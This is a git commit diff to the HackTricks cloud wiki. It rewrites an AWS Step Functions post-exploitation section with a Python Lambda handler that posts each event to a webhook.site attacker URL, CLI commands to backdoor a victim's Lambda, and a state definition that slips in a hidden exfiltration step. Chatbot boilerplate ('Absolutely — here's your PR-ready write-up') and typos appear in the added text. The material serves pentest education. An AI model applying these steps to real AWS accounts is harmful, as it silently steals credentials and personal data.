mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 07:00:38 -08:00
arte-mr.kluo-UpdateStateMachine
This commit is contained in:
@@ -71,67 +71,133 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
|
||||
### `states:UpdateStateMachine`
|
||||
Absolutely — here's your **PR-ready write-up** in the requested format, aligned with the `HackTricks` style you've been following.
|
||||
|
||||
This permission allows an attacker to **modify the logic of an existing state machine**. By injecting malicious logic into the state definition, the attacker could:
|
||||
---
|
||||
|
||||
- Add a **new state** that exfiltrates input/output to an external system (via Lambda or SNS).
|
||||
- **Bypass security checks**, skip validation steps, or disable error handling.
|
||||
- **Insert a logic bomb** that triggers under specific input conditions to disrupt execution.
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
This attack can be subtle, blending into large state definitions, and may go unnoticed without strict ASL version control.
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn <value> \
|
||||
--definition file://malicious_state_definition.json \
|
||||
--role-arn arn:aws:iam::<account-id>:role/<execution-role>
|
||||
```
|
||||
|
||||
`malicious_state_definition.json`
|
||||
An attacker who compromises a user or role with the following permissions:
|
||||
|
||||
```json
|
||||
{
|
||||
"Comment": "Malicious State Machine - Data Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfiltration_result",
|
||||
"Next": "LegitimateStep"
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
"LegitimateStep": {
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
...can conduct a **high-impact and stealthy post-exploitation attack** by combining Lambda backdooring with Step Function logic manipulation.
|
||||
|
||||
This scenario assumes that the victim uses **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.
|
||||
|
||||
Example victim invocation:
|
||||
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
|
||||
If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:
|
||||
|
||||
---
|
||||
|
||||
#### Updated the lambda function
|
||||
|
||||
The attacker modifies the code of the Lambda function already used by the Step Function (`LegitBusinessLogic`) to silently exfiltrate input data.
|
||||
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### Add a Malicious State to the Step Function
|
||||
|
||||
Alternatively, the attacker can inject an **exfiltration state** at the beginning of the workflow by updating the Step Function definition.
|
||||
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:LegitBusinessLogic",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
- **Potential Impact**: Data exfiltration, disruption of logic flow, persistent access through hidden states.
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
|
||||
The attacker can even more stealthy to update the state definition to something like this
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
where the victim won't realize the different
|
||||
|
||||
---
|
||||
|
||||
### `states:StartExecution`
|
||||
### Victim Setup (Context for Exploit)
|
||||
|
||||
With this permission, an attacker can **trigger executions on demand**, passing arbitrary input to state machines. This allows:
|
||||
- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
|
||||
- It calls one or more Lambda functions such as `LegitBusinessLogic`.
|
||||
|
||||
- **Triggering sensitive operations** (e.g., Lambda invocations, EC2 actions) if the workflow handles them.
|
||||
- **Supplying attacker-controlled input** to abuse poorly validated states.
|
||||
- **Recon of business logic** by probing execution responses or failures.
|
||||
---
|
||||
|
||||
Used with `states:GetExecutionHistory`, it becomes a powerful tool for **logic discovery**, **abuse**, or **command execution** through embedded Lambdas or activities.
|
||||
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn <value> \
|
||||
--name "backdoor-$(date +%s)" \
|
||||
--input '{"command":"whoami"}'
|
||||
```
|
||||
|
||||
- **Potential Impact**: Unauthorized triggering of sensitive workflows, business logic abuse, stealthy persistence (can be cron-triggered via EventBridge).
|
||||
**Potential Impact**:
|
||||
- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
|
||||
- No visible errors or failures in workflow execution.
|
||||
- Difficult to detect without auditing Lambda code or execution traces.
|
||||
- Enables long-term persistence if backdoor remains in code or ASL logic.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user